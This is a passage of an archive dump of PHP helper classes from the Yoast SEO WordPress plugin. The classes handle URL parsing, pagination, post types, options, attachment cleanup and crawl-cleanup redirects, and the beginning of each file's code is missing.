\wp_parse_url( $path, \PHP_URL_PATH ); $url_parts = \wp_parse_url( \home_url() ); $base_url = \trailingslashit( $url_parts['scheme'] . '://' . $url_parts['host'] ); if ( \is_string( $path ) ) { $base_url .= \ltrim( $path, '/' ); } return $base_url; } /** * Returns the link type. * * @param array $url The URL, as parsed by wp_parse_url. * @param array|null $home_url Optional. The home URL, as parsed by wp_parse_url. Used to avoid reparsing the home_url. * @param bool $is_image Whether or not the link is an image. * * @return string The link type. */ public function get_link_type( $url, $home_url = null, $is_image = false ) { // If there is no scheme and no host the link is always internal. // Beware, checking just the scheme isn't enough as a link can be //yoast.com for instance. if ( empty( $url['scheme'] ) && empty( $url['host'] ) ) { return ( $is_image ) ? SEO_Links::TYPE_INTERNAL_IMAGE : SEO_Links::TYPE_INTERNAL; } // If there is a scheme but it's not http(s) then the link is always external. if ( \array_key_exists( 'scheme', $url ) && ! \in_array( $url['scheme'], [ 'http', 'https' ], true ) ) { return ( $is_image ) ? SEO_Links::TYPE_EXTERNAL_IMAGE : SEO_Links::TYPE_EXTERNAL; } $home_url ??= \wp_parse_url( \home_url() ); // When the base host is equal to the host. if ( isset( $url['host'] ) && $url['host'] !== $home_url['host'] ) { return ( $is_image ) ? SEO_Links::TYPE_EXTERNAL_IMAGE : SEO_Links::TYPE_EXTERNAL; } // There is no base path and thus all URLs of the same domain are internal. if ( empty( $home_url['path'] ) ) { return ( $is_image ) ? SEO_Links::TYPE_INTERNAL_IMAGE : SEO_Links::TYPE_INTERNAL; } // When there is a path and it matches the start of the url. if ( isset( $url['path'] ) && \strpos( $url['path'], $home_url['path'] ) === 0 ) { return ( $is_image ) ? SEO_Links::TYPE_INTERNAL_IMAGE : SEO_Links::TYPE_INTERNAL; } return ( $is_image ) ? SEO_Links::TYPE_EXTERNAL_IMAGE : SEO_Links::TYPE_EXTERNAL; } /** * Recreate current URL. * * @param bool $with_request_uri Whether we want the REQUEST_URI appended. * * @return string */ public function recreate_current_url( $with_request_uri = true ) { $current_url = 'http'; if ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on' ) { $current_url .= 's'; } $current_url .= '://'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary. $suffix = ( $with_request_uri && isset( $_SERVER['REQUEST_URI'] ) ) ? $_SERVER['REQUEST_URI'] : ''; if ( isset( $_SERVER['SERVER_NAME'] ) && ! empty( $_SERVER['SERVER_NAME'] ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary. $server_name = $_SERVER['SERVER_NAME']; } else { // Early return with just the path. return $suffix; } $server_port = ''; if ( isset( $_SERVER['SERVER_PORT'] ) && $_SERVER['SERVER_PORT'] !== '80' && $_SERVER['SERVER_PORT'] !== '443' ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary. $server_port = $_SERVER['SERVER_PORT']; } if ( ! empty( $server_port ) ) { $current_url .= $server_name . ':' . $server_port . $suffix; } else { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput -- We know this is scary. $current_url .= $server_name . $suffix; } return $current_url; } /** * Parses a URL and returns its components, this wrapper function was created to support unit tests. * * @param string $parsed_url The URL to parse. * @return array The parsed components of the URL. */ public function parse_str_params( $parsed_url ) { $array = []; // @todo parse_str changes spaces in param names into `_`, we should find a better way to support them. \wp_parse_str( $parsed_url, $array ); return $array; } } helpers/woocommerce-helper.php000064400000002426152076255070012530 0ustar00ID ) ) { return false; } return (int) $post->ID === (int) \wc_terms_and_conditions_page_id(); } } helpers/environment-helper.php000064400000001431152076255070012550 0ustar00get_wp_environment() === 'production'; } /** * Determines on which environment WordPress is running. * * @return string The current WordPress environment. */ public function get_wp_environment() { return \wp_get_environment_type(); } } helpers/asset-helper.php000064400000005014152076255070011324 0ustar00get_dependency_handles( $handle ) as $other_handle ) { $urls[ $other_handle ] = $this->get_asset_url( $other_handle ); } return $urls; } /** * Recursively retrieves all dependencies of a given handle. * * @param string $handle The handle. * * @return string[] All dependencies of the given handle. */ public function get_dependency_handles( $handle ) { $scripts = \wp_scripts(); if ( ! isset( $scripts->registered[ $handle ] ) ) { return []; } $obj = $scripts->registered[ $handle ]; $deps = $obj->deps; foreach ( $obj->deps as $other_handle ) { $nested_deps = $this->get_dependency_handles( $other_handle ); if ( ! $nested_deps ) { continue; } // Place nested dependencies before primary dependencies, they need to be loaded first. $deps = \array_merge( $nested_deps, $deps ); } // Array unique keeps the first of each element so dependencies will be as early as they're required. return \array_values( \array_unique( $deps ) ); } /** * Gets the URL of a given asset. * * This logic is copied from WP_Scripts::do_item as unfortunately that logic is not properly isolated. * * @param string $handle The handle of the asset. * * @return string|false The URL of the asset or false if the asset does not exist. */ public function get_asset_url( $handle ) { $scripts = \wp_scripts(); if ( ! isset( $scripts->registered[ $handle ] ) ) { return false; } $obj = $scripts->registered[ $handle ]; if ( $obj->ver === null ) { $ver = ''; } else { $ver = ( $obj->ver ) ? $obj->ver : $scripts->default_version; } if ( isset( $scripts->args[ $handle ] ) ) { $ver = ( $ver ) ? $ver . '&' . $scripts->args[ $handle ] : $scripts->args[ $handle ]; } $src = $obj->src; if ( ! \preg_match( '|^(https?:)?//|', $src ) && ! ( $scripts->content_url && \strpos( $src, $scripts->content_url ) === 0 ) ) { $src = $scripts->base_url . $src; } if ( ! empty( $ver ) ) { $src = \add_query_arg( 'ver', $ver, $src ); } /** This filter is documented in wp-includes/class.wp-scripts.php */ return \esc_url( \apply_filters( 'script_loader_src', $src, $handle ) ); } } helpers/user-helper.php000064400000007672152076255070011177 0ustar00display_name ) { return $user->display_name; } return ''; } /** * Updates user meta field for a user. * * Use the $prev_value parameter to differentiate between meta fields with the * same key and user ID. * * If the meta field for the user does not exist, it will be added. * * @param int $user_id User ID. * @param string $meta_key Metadata key. * @param mixed $meta_value Metadata value. Must be serializable if non-scalar. * @param mixed $prev_value Optional. Previous value to check before updating. * If specified, only update existing metadata entries with * this value. Otherwise, update all entries. Default empty. * * @return int|bool Meta ID if the key didn't exist, true on successful update, * false on failure or if the value passed to the function * is the same as the one that is already in the database. */ public function update_meta( $user_id, $meta_key, $meta_value, $prev_value = '' ) { return \update_user_meta( $user_id, $meta_key, $meta_value, $prev_value ); } /** * Removes metadata matching criteria from a user. * * You can match based on the key, or key and value. Removing based on key and * value, will keep from removing duplicate metadata with the same key. It also * allows removing all metadata matching key, if needed. * * @param int $user_id User ID. * @param string $meta_key Metadata name. * @param mixed $meta_value Optional. Metadata value. If provided, * rows will only be removed that match the value. * Must be serializable if non-scalar. Default empty. * * @return bool True on success, false on failure. */ public function delete_meta( $user_id, $meta_key, $meta_value = '' ) { return \delete_user_meta( $user_id, $meta_key, $meta_value ); } } helpers/notification-helper.php000064400000004011152076255070012667 0ustar00get_sorted_notifications(); } /** * Check if the user has dismissed a notification. (wrapper function) * * @codeCoverageIgnore * * @param Yoast_Notification $notification The notification to check for dismissal. * @param int|null $user_id User ID to check on. * * @return bool */ private function is_notification_dismissed( Yoast_Notification $notification, $user_id = null ) { return Yoast_Notification_Center::is_notification_dismissed( $notification, $user_id ); } /** * Parses all the notifications to an array with just id, message, nonce, type and dismissed. * * @return array */ public function get_alerts(): array { $all_notifications = $this->get_sorted_notifications(); return \array_map( function ( $notification ) { return [ 'id' => $notification->get_id(), 'message' => $notification->get_message(), 'nonce' => $notification->get_nonce(), 'type' => $notification->get_type(), 'dismissed' => $this->is_notification_dismissed( $notification ), 'resolveNonce' => $notification->get_resolve_nonce(), ]; }, $all_notifications, ); } } helpers/pagination-helper.php000064400000013267152076255070012347 0ustar00wp_rewrite_wrapper = $wp_rewrite_wrapper; $this->wp_query_wrapper = $wp_query_wrapper; } /** * Checks whether adjacent rel links are disabled. * * @return bool Whether adjacent rel links are disabled or not. */ public function is_rel_adjacent_disabled() { /** * Filter: 'wpseo_disable_adjacent_rel_links' - Allows disabling of Yoast adjacent links if this is being handled by other code. * * @param bool $links_generated Indicates if other code has handled adjacent links. */ return \apply_filters( 'wpseo_disable_adjacent_rel_links', false ); } /** * Builds a paginated URL. * * @param string $url The un-paginated URL of the current archive. * @param string $page The page number to add on to $url for the $link tag. * @param bool $add_pagination_base Optional. Whether to add the pagination base (`page`) to the url. * @param string $pagination_query_name Optional. The name of the query argument that holds the current page. * * @return string The paginated URL. */ public function get_paginated_url( $url, $page, $add_pagination_base = true, $pagination_query_name = 'page' ) { $wp_rewrite = $this->wp_rewrite_wrapper->get(); $key_query_loop = $this->get_key_query_loop(); if ( $key_query_loop ) { $pagination_query_name = $key_query_loop; } if ( $wp_rewrite->using_permalinks() && ! $key_query_loop ) { $url_parts = \wp_parse_url( $url ); $has_url_params = \array_key_exists( 'query', $url_parts ); if ( $has_url_params ) { // We need to first remove the query params, before potentially adding the pagination parts. \wp_parse_str( $url_parts['query'], $query_parts ); $url = \trailingslashit( \remove_query_arg( \array_keys( $query_parts ), $url ) ); if ( $add_pagination_base ) { $url .= \trailingslashit( $wp_rewrite->pagination_base ); } // We can now re-add the query params, after appending the last pagination parts. return \add_query_arg( $query_parts, \user_trailingslashit( $url . $page ) ); } $url = \trailingslashit( $url ); if ( $add_pagination_base ) { $url .= \trailingslashit( $wp_rewrite->pagination_base ); } return \user_trailingslashit( $url . $page ); } return \add_query_arg( $pagination_query_name, $page, \user_trailingslashit( $url ) ); } /** * Gets the number of archive pages. * * @return int The number of archive pages. */ public function get_number_of_archive_pages() { $wp_query = $this->wp_query_wrapper->get_query(); return (int) $wp_query->max_num_pages; } /** * Returns the current page for paged archives. * * @return int The current archive page. */ public function get_current_archive_page_number() { $wp_query = $this->wp_query_wrapper->get_main_query(); $page_number = (int) $wp_query->get( 'paged' ); if ( $page_number > 1 ) { return $page_number; } $query_loop_page_number = $this->get_page_number_from_query_loop(); if ( $query_loop_page_number ) { return $query_loop_page_number; } return 0; } /** * Returns the current page for paged post types. * * @return int The current post page. */ public function get_current_post_page_number() { $wp_query = $this->wp_query_wrapper->get_main_query(); $query_loop_page_number = $this->get_page_number_from_query_loop(); if ( $query_loop_page_number ) { return $query_loop_page_number; } return (int) $wp_query->get( 'page' ); } /** * Returns the current page number. * * @return int The current page number. */ public function get_current_page_number() { // Get the page number for an archive page. $page_number = \get_query_var( 'paged', 1 ); if ( $page_number > 1 ) { return $page_number; } $query_loop_page_number = $this->get_page_number_from_query_loop(); if ( $query_loop_page_number ) { return $query_loop_page_number; } // Get the page number for a page in a paginated post. return \get_query_var( 'page', 1 ); } /** * Returns the key of the query loop. * * @return string The key of the query loop. */ public function get_key_query_loop() { $regex_pattern = '/^query-\d+-page$/'; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- not form data. foreach ( $_GET as $key => $value ) { if ( \preg_match( $regex_pattern, $key ) ) { return $key; } } return ''; } /** * Returns the page number from the query loop. * * @return string The page number from the query loop. */ public function get_page_number_from_query_loop() { $key_query_loop = $this->get_key_query_loop(); if ( $key_query_loop ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotValidated,WordPress.Security.NonceVerification.Recommended -- Validated in get_key_query_loop(). $page_number = (int) $_GET[ $key_query_loop ]; if ( $page_number > 1 ) { return $page_number; } } return ''; } } helpers/attachment-cleanup-helper.php000064400000004366152076255070013773 0ustar00show_errors; $wpdb->show_errors = false; } $indexable_table = Model::get_table_name( 'Indexable' ); $delete_query = "DELETE FROM $indexable_table WHERE object_type = 'post' AND object_sub_type = 'attachment'"; // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. $wpdb->query( $delete_query ); // phpcs:enable if ( $suppress_errors ) { $wpdb->show_errors = $show_errors; } } /** * Cleans all attachment links in the links table from target indexable ids. * * @param bool $suppress_errors Whether to suppress db errors when running the cleanup query. * * @return void */ public function clean_attachment_links_from_target_indexable_ids( $suppress_errors ) { global $wpdb; if ( $suppress_errors ) { // If migrations haven't been completed successfully the following may give false errors. So suppress them. $show_errors = $wpdb->show_errors; $wpdb->show_errors = false; } $links_table = Model::get_table_name( 'SEO_Links' ); $query = "UPDATE $links_table SET target_indexable_id = NULL WHERE type = 'image-in'"; // phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches. // phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way. // phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already. $wpdb->query( $query ); // phpcs:enable if ( $suppress_errors ) { $wpdb->show_errors = $show_errors; } } } helpers/blocks-helper.php000064400000004512152076255070011464 0ustar00post = $post; } /** * Returns all blocks in a given post. * * @param int $post_id The post id. * * @return array The blocks in a block-type => WP_Block_Parser_Block[] format. */ public function get_all_blocks_from_post( $post_id ) { if ( ! $this->has_blocks_support() ) { return []; } $post = $this->post->get_post( $post_id ); return $this->get_all_blocks_from_content( $post->post_content ); } /** * Returns all blocks in a given content. * * @param string $content The content. * * @return array The blocks in a block-type => WP_Block_Parser_Block[] format. */ public function get_all_blocks_from_content( $content ) { if ( ! $this->has_blocks_support() ) { return []; } $collection = []; $blocks = \parse_blocks( $content ); return $this->collect_blocks( $blocks, $collection ); } /** * Checks if the installation has blocks support. * * @codeCoverageIgnore It only checks if a WordPress function exists. * * @return bool True when function parse_blocks exists. */ protected function has_blocks_support() { return \function_exists( 'parse_blocks' ); } /** * Collects an array of blocks into an organised collection. * * @param WP_Block_Parser_Block[] $blocks The blocks. * @param array $collection The collection. * * @return array The blocks in a block-type => WP_Block_Parser_Block[] format. */ private function collect_blocks( $blocks, $collection ) { foreach ( $blocks as $block ) { if ( empty( $block['blockName'] ) ) { continue; } if ( ! isset( $collection[ $block['blockName'] ] ) || ! \is_array( $collection[ $block['blockName'] ] ) ) { $collection[ $block['blockName'] ] = []; } $collection[ $block['blockName'] ][] = $block; if ( isset( $block['innerBlocks'] ) ) { $collection = $this->collect_blocks( $block['innerBlocks'], $collection ); } } return $collection; } } helpers/indexable-to-postmeta-helper.php000064400000015401152076255110014406 0ustar00 [ 'post_meta_key' => 'title', 'map_method' => 'simple_map', ], 'description' => [ 'post_meta_key' => 'metadesc', 'map_method' => 'simple_map', ], 'open_graph_title' => [ 'post_meta_key' => 'opengraph-title', 'map_method' => 'simple_map', ], 'open_graph_description' => [ 'post_meta_key' => 'opengraph-description', 'map_method' => 'simple_map', ], 'twitter_title' => [ 'post_meta_key' => 'twitter-title', 'map_method' => 'simple_map', ], 'twitter_description' => [ 'post_meta_key' => 'twitter-description', 'map_method' => 'simple_map', ], 'canonical' => [ 'post_meta_key' => 'canonical', 'map_method' => 'simple_map', ], 'primary_focus_keyword' => [ 'post_meta_key' => 'focuskw', 'map_method' => 'simple_map', ], 'open_graph_image' => [ 'post_meta_key' => 'opengraph-image', 'map_method' => 'social_image_map', ], 'open_graph_image_id' => [ 'post_meta_key' => 'opengraph-image-id', 'map_method' => 'social_image_map', ], 'twitter_image' => [ 'post_meta_key' => 'twitter-image', 'map_method' => 'social_image_map', ], 'twitter_image_id' => [ 'post_meta_key' => 'twitter-image-id', 'map_method' => 'social_image_map', ], 'is_robots_noindex' => [ 'post_meta_key' => 'meta-robots-noindex', 'map_method' => 'noindex_map', ], 'is_robots_nofollow' => [ 'post_meta_key' => 'meta-robots-nofollow', 'map_method' => 'nofollow_map', ], 'meta_robots_adv' => [ 'post_meta_key' => 'meta-robots-adv', 'map_method' => 'robots_adv_map', ], ]; /** * Indexable_To_Postmeta_Helper constructor. * * @param Meta_Helper $meta The Meta helper. */ public function __construct( Meta_Helper $meta ) { $this->meta = $meta; } /** * Creates postmeta from a Yoast indexable. * * @param Indexable $indexable The Yoast indexable. * * @return void */ public function map_to_postmeta( $indexable ) { foreach ( $this->yoast_to_postmeta as $indexable_column => $map_info ) { \call_user_func( [ $this, $map_info['map_method'] ], $indexable, $map_info['post_meta_key'], $indexable_column ); } } /** * Uses a simple set_value for non-empty data. * * @param Indexable $indexable The Yoast indexable. * @param string $post_meta_key The post_meta key that will be populated. * @param string $indexable_column The indexable data that will be mapped to post_meta. * * @return void */ public function simple_map( $indexable, $post_meta_key, $indexable_column ) { if ( empty( $indexable->{$indexable_column} ) ) { return; } $this->meta->set_value( $post_meta_key, $indexable->{$indexable_column}, $indexable->object_id ); } /** * Map social image data only if social image is explicitly set. * * @param Indexable $indexable The Yoast indexable. * @param string $post_meta_key The post_meta key that will be populated. * @param string $indexable_column The indexable data that will be mapped to post_meta. * * @return void */ public function social_image_map( $indexable, $post_meta_key, $indexable_column ) { if ( empty( $indexable->{$indexable_column} ) ) { return; } switch ( $indexable_column ) { case 'open_graph_image': case 'open_graph_image_id': $source = $indexable->open_graph_image_source; break; case 'twitter_image': case 'twitter_image_id': $source = $indexable->twitter_image_source; break; } // Map the social image data only when the social image is explicitly set. if ( $source === 'set-by-user' || $source === 'imported' ) { $value = (string) $indexable->{$indexable_column}; $this->meta->set_value( $post_meta_key, $value, $indexable->object_id ); } } /** * Deletes the noindex post_meta key if no noindex in the indexable. Populates the post_meta key appropriately if there is noindex in the indexable. * * @param Indexable $indexable The Yoast indexable. * @param string $post_meta_key The post_meta key that will be populated. * * @return void */ public function noindex_map( $indexable, $post_meta_key ) { if ( $indexable->is_robots_noindex === null ) { $this->meta->delete( $post_meta_key, $indexable->object_id ); return; } if ( $indexable->is_robots_noindex === false ) { $this->meta->set_value( $post_meta_key, 2, $indexable->object_id ); } if ( $indexable->is_robots_noindex === true ) { $this->meta->set_value( $post_meta_key, 1, $indexable->object_id ); } } /** * Deletes the nofollow post_meta key if no nofollow in the indexable or if nofollow is false. Populates the post_meta key appropriately if there is a true nofollow in the indexable. * * @param Indexable $indexable The Yoast indexable. * @param string $post_meta_key The post_meta key that will be populated. * * @return void */ public function nofollow_map( $indexable, $post_meta_key ) { if ( $indexable->is_robots_nofollow === null || $indexable->is_robots_nofollow === false ) { $this->meta->delete( $post_meta_key, $indexable->object_id ); } if ( $indexable->is_robots_nofollow === true ) { $this->meta->set_value( $post_meta_key, 1, $indexable->object_id ); } } /** * Deletes the nofollow post_meta key if no nofollow in the indexable or if nofollow is false. Populates the post_meta key appropriately if there is a true nofollow in the indexable. * * @param Indexable $indexable The Yoast indexable. * @param string $post_meta_key The post_meta key that will be populated. * * @return void */ public function robots_adv_map( $indexable, $post_meta_key ) { $adv_settings_to_be_imported = []; $no_adv_settings = true; if ( $indexable->is_robots_noimageindex === true ) { $adv_settings_to_be_imported[] = 'noimageindex'; $no_adv_settings = false; } if ( $indexable->is_robots_noarchive === true ) { $adv_settings_to_be_imported[] = 'noarchive'; $no_adv_settings = false; } if ( $indexable->is_robots_nosnippet === true ) { $adv_settings_to_be_imported[] = 'nosnippet'; $no_adv_settings = false; } if ( $no_adv_settings === true ) { $this->meta->delete( $post_meta_key, $indexable->object_id ); return; } $this->meta->set_value( $post_meta_key, \implode( ',', $adv_settings_to_be_imported ), $indexable->object_id ); } } helpers/route-helper.php000064400000001266152076255110011343 0ustar00is_premium() ) { return 'Yoast SEO Premium'; } return 'Yoast SEO'; } /** * Gets the product name in the head section. * * @return string */ public function get_name() { return $this->get_product_name() . ' plugin'; } /** * Checks if the installed version is Yoast SEO Premium. * * @return bool True when is premium. */ public function is_premium() { return \defined( 'WPSEO_PREMIUM_FILE' ); } /** * Gets the Premium version if defined, returns null otherwise. * * @return string|null The Premium version or null when premium version is not defined. */ public function get_premium_version() { if ( \defined( 'WPSEO_PREMIUM_VERSION' ) ) { return \WPSEO_PREMIUM_VERSION; } return null; } /** * Gets the version. * * @return string The version. */ public function get_version() { return \WPSEO_VERSION; } } helpers/post-type-helper.php000064400000016266152076255110012157 0ustar00options_helper = $options_helper; } /** * Checks if the request post type is public and indexable. * * @codeCoverageIgnore We have to write test when this method contains own code. * * @param string $post_type_name The name of the post type to lookup. * * @return bool True when post type is set to index. */ public function is_indexable( $post_type_name ) { if ( $this->options_helper->get( 'disable-' . $post_type_name, false ) ) { return false; } return ( $this->options_helper->get( 'noindex-' . $post_type_name, false ) === false ); } /** * Checks if the request post type has the Yoast Metabox enabled. * * @param string $post_type_name The name of the post type to lookup. * * @return bool True if metabox is enabled. */ public function has_metabox( $post_type_name ) { return ( $this->options_helper->get( 'display-metabox-pt-' . $post_type_name, true ) === true ); } /** * Returns an array with the public post types. * * @codeCoverageIgnore It only wraps a WordPress function. * * @param string $output The output type to use. * * @return array Array with all the public post_types. */ public function get_public_post_types( $output = 'names' ) { return \get_post_types( [ 'public' => true ], $output ); } /** * Returns an array with the accessible post types. * * An accessible post type is a post type that is public and isn't set as no-index (robots). * * @return array Array with all the accessible post_types. */ public function get_accessible_post_types() { $post_types = \get_post_types( [ 'public' => true ] ); $post_types = \array_filter( $post_types, 'is_post_type_viewable' ); /** * Filter: 'wpseo_accessible_post_types' - Allow changing the accessible post types. * * @param array $post_types The public post types. */ $post_types = \apply_filters( 'wpseo_accessible_post_types', $post_types ); // When the array gets messed up somewhere. if ( ! \is_array( $post_types ) ) { return []; } return $post_types; } /** * Returns an array of post types that are excluded from being indexed for the * indexables. * * @return array The excluded post types. */ public function get_excluded_post_types_for_indexables() { /** * Filter: 'wpseo_indexable_excluded_post_types' - Allows excluding posts of a certain post * type from being saved to the indexable table. * * @param array $excluded_post_types The currently excluded post types that indexables will not be created for. */ $excluded_post_types = \apply_filters( 'wpseo_indexable_excluded_post_types', [] ); // Failsafe, to always make sure that `excluded_post_types` is an array. if ( ! \is_array( $excluded_post_types ) ) { return []; } return $excluded_post_types; } /** * Checks if the post type is excluded. * * @param string $post_type The post type to check. * * @return bool If the post type is exclude. */ public function is_excluded( $post_type ) { return \in_array( $post_type, $this->get_excluded_post_types_for_indexables(), true ); } /** * Checks if the post type with the given name has an archive page. * * @param WP_Post_Type|string $post_type The name of the post type to check. * * @return bool True when the post type has an archive page. */ public function has_archive( $post_type ) { if ( \is_string( $post_type ) ) { $post_type = \get_post_type_object( $post_type ); } return ( ! empty( $post_type->has_archive ) ); } /** * Returns the post types that should be indexed. * * @return array The post types that should be indexed. */ public function get_indexable_post_types() { $public_post_types = $this->get_public_post_types(); $excluded_post_types = $this->get_excluded_post_types_for_indexables(); $included_post_types = \array_diff( $public_post_types, $excluded_post_types ); return $this->filter_included_post_types( $included_post_types ); } /** * Returns all indexable post types with archive pages. * * @return array All post types which are indexable and have archive pages. */ public function get_indexable_post_archives() { return \array_filter( $this->get_indexable_post_type_objects(), [ $this, 'has_archive' ] ); } /** * Filters the post types that are included to be indexed. * * @param array $included_post_types The post types that are included to be indexed. * * @return array The filtered post types that are included to be indexed. */ protected function filter_included_post_types( $included_post_types ) { /** * Filter: 'wpseo_indexable_forced_included_post_types' - Allows force including posts of a certain post * type to be saved to the indexable table. * * @param array $included_post_types The currently included post types that indexables will be created for. */ $filtered_included_post_types = \apply_filters( 'wpseo_indexable_forced_included_post_types', $included_post_types ); if ( ! \is_array( $filtered_included_post_types ) ) { // If the filter got misused, let's return the unfiltered array. return \array_values( $included_post_types ); } // Add sanity check to make sure everything is an actual post type. foreach ( $filtered_included_post_types as $key => $post_type ) { if ( ! \post_type_exists( $post_type ) ) { unset( $filtered_included_post_types[ $key ] ); } } // `array_values`, to make sure that the keys are reset. return \array_values( $filtered_included_post_types ); } /** * Checks if the given post type should be indexed. * * @param string $post_type The post type that is checked. * * @return bool */ public function is_of_indexable_post_type( $post_type ) { $public_types = $this->get_indexable_post_types(); if ( ! \in_array( $post_type, $public_types, true ) ) { return false; } return true; } /** * Checks if the archive of a post type is indexable. * * @param string $post_type The post type to check. * * @return bool if the archive is indexable. */ public function is_post_type_archive_indexable( $post_type ) { $public_type_objects = $this->get_indexable_post_archives(); $public_types = \array_map( static function ( $post_type_object ) { return $post_type_object->name; }, $public_type_objects, ); return \in_array( $post_type, $public_types, true ); } /** * Returns an array of complete post type objects for all indexable post types. * * @return array List of indexable post type objects. */ public function get_indexable_post_type_objects() { $post_type_objects = []; $indexable_post_types = $this->get_indexable_post_types(); foreach ( $indexable_post_types as $post_type ) { $post_type_object = \get_post_type_object( $post_type ); if ( ! empty( $post_type_object ) ) { $post_type_objects[ $post_type ] = $post_type_object; } } return $post_type_objects; } } helpers/options-helper.php000064400000011226152076255110011675 0ustar00get_default( 'wpseo_titles', 'separator' ); // Get the titles option and the separator options. $separator = $this->get( 'separator' ); $seperator_options = $this->get_separator_options(); // This should always be set, but just to be sure. if ( isset( $seperator_options[ $separator ] ) ) { // Set the new replacement. $replacement = $seperator_options[ $separator ]; } elseif ( isset( $seperator_options[ $default ] ) ) { $replacement = $seperator_options[ $default ]; } else { $replacement = \reset( $seperator_options ); } /** * Filter: 'wpseo_replacements_filter_sep' - Allow customization of the separator character(s). * * @param string $replacement The current separator. */ return \apply_filters( 'wpseo_replacements_filter_sep', $replacement ); } /** * Retrieves a default value from the option titles. * * @param string $option_titles_key The key of the option title you wish to get. * * @return string The option title. */ public function get_title_default( $option_titles_key ) { $default_titles = $this->get_title_defaults(); if ( ! empty( $default_titles[ $option_titles_key ] ) ) { return $default_titles[ $option_titles_key ]; } return ''; } /** * Retrieves the default option titles. * * @codeCoverageIgnore We have to write test when this method contains own code. * * @return array The title defaults. */ protected function get_title_defaults() { return WPSEO_Option_Titles::get_instance()->get_defaults(); } /** * Retrieves the tracking only options. * * @codeCoverageIgnore We have to write test when this method contains own code. * * @return string[] The tracking only options. */ public function get_tracking_only_options() { return \array_keys( WPSEO_Option_Tracking_Only::get_instance()->get_defaults() ); } /** * Get the available separator options. * * @return array */ protected function get_separator_options() { return WPSEO_Option_Titles::get_instance()->get_separator_options(); } /** * Checks whether a social URL is valid, with empty strings being valid social URLs. * * @param string $url The url to be checked. * * @return bool Whether the URL is valid. */ public function is_social_url_valid( $url ) { return $url === '' || WPSEO_Option_Social::get_instance()->validate_social_url( $url ); } /** * Checks whether a twitter id is valid, with empty strings being valid twitter id. * * @param string $twitter_id The twitter id to be checked. * * @return bool Whether the twitter id is valid. */ public function is_twitter_id_valid( $twitter_id ) { return empty( $twitter_id ) || WPSEO_Option_Social::get_instance()->validate_twitter_id( $twitter_id, false ); } /** * Gets the limit for the other included pages. * * @return int The limit for the other included pages. */ public function get_other_included_pages_limit() { return WPSEO_Option_Llmstxt::get_instance()->get_other_included_pages_limit(); } } helpers/crawl-cleanup-helper.php000064400000020146152076255110012740 0ustar00current_page_helper = $current_page_helper; $this->options_helper = $options_helper; $this->url_helper = $url_helper; $this->redirect_helper = $redirect_helper; } /** * Checks if the current URL is not robots, sitemap, empty or user is logged in. * * @return bool True if the current URL is a valid URL. */ public function should_avoid_redirect() { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- We're not processing anything yet... if ( \is_robots() || \get_query_var( 'sitemap' ) || empty( $_GET ) || \is_user_logged_in() ) { return true; } return false; } /** * Returns the list of the allowed extra vars. * * @return array The list of the allowed extra vars. */ public function get_allowed_extravars() { $default_allowed_extravars = [ 'utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'gclid', 'gtm_debug', ]; /** * Filter: 'Yoast\WP\SEO\allowlist_permalink_vars' - Allows plugins to register their own variables not to clean. * * @since 19.2.0 * * @param array $allowed_extravars The list of the allowed vars (empty by default). */ $allowed_extravars = \apply_filters( 'Yoast\WP\SEO\allowlist_permalink_vars', $default_allowed_extravars ); $clean_permalinks_extra_variables = $this->options_helper->get( 'clean_permalinks_extra_variables' ); if ( $clean_permalinks_extra_variables !== '' ) { $allowed_extravars = \array_merge( $allowed_extravars, \explode( ',', $clean_permalinks_extra_variables ) ); } return $allowed_extravars; } /** * Gets the allowed query vars from the current URL. * * @param string $current_url The current URL. * @return array is_allowed and allowed_query. */ public function allowed_params( $current_url ) { // This is a Premium plugin-only function: Allows plugins to register their own variables not to clean. $allowed_extravars = $this->get_allowed_extravars(); $allowed_query = []; $parsed_url = \wp_parse_url( $current_url, \PHP_URL_QUERY ); $query = $this->url_helper->parse_str_params( $parsed_url ); if ( ! empty( $allowed_extravars ) ) { foreach ( $allowed_extravars as $get ) { $get = \trim( $get ); if ( isset( $query[ $get ] ) ) { $allowed_query[ $get ] = \rawurlencode_deep( $query[ $get ] ); unset( $query[ $get ] ); } } } return [ 'query' => $query, 'allowed_query' => $allowed_query, ]; } /** * Returns the proper URL for singular pages. * * @return string The proper URL. */ public function singular_url() { global $post; $proper_url = \get_permalink( $post->ID ); $page = \get_query_var( 'page' ); if ( $page && $page !== 1 ) { $the_post = \get_post( $post->ID ); $page_count = \substr_count( $the_post->post_content, '' ); $proper_url = \user_trailingslashit( \trailingslashit( $proper_url ) . $page ); if ( $page > ( $page_count + 1 ) ) { $proper_url = \user_trailingslashit( \trailingslashit( $proper_url ) . ( $page_count + 1 ) ); } } // Fix reply to comment links, whoever decided this should be a GET variable? // phpcs:ignore WordPress.Security -- We know this is scary. if ( isset( $_SERVER['REQUEST_URI'] ) && \preg_match( '`(\?replytocom=[^&]+)`', \sanitize_text_field( $_SERVER['REQUEST_URI'] ), $matches ) ) { $proper_url .= \str_replace( '?replytocom=', '#comment-', $matches[0] ); } unset( $matches ); return $proper_url; } /** * Returns the proper URL for front page. * * @return string The proper URL. */ public function front_page_url() { if ( $this->current_page_helper->is_home_posts_page() ) { return \home_url( '/' ); } if ( $this->current_page_helper->is_home_static_page() ) { return \get_permalink( $GLOBALS['post']->ID ); } return ''; } /** * Returns the proper URL for 404 page. * * @param string $current_url The current URL. * @return string The proper URL. */ public function page_not_found_url( $current_url ) { if ( ! \is_multisite() || \is_subdomain_install() || ! \is_main_site() ) { return ''; } if ( $current_url !== \home_url() . '/blog/' && $current_url !== \home_url() . '/blog' 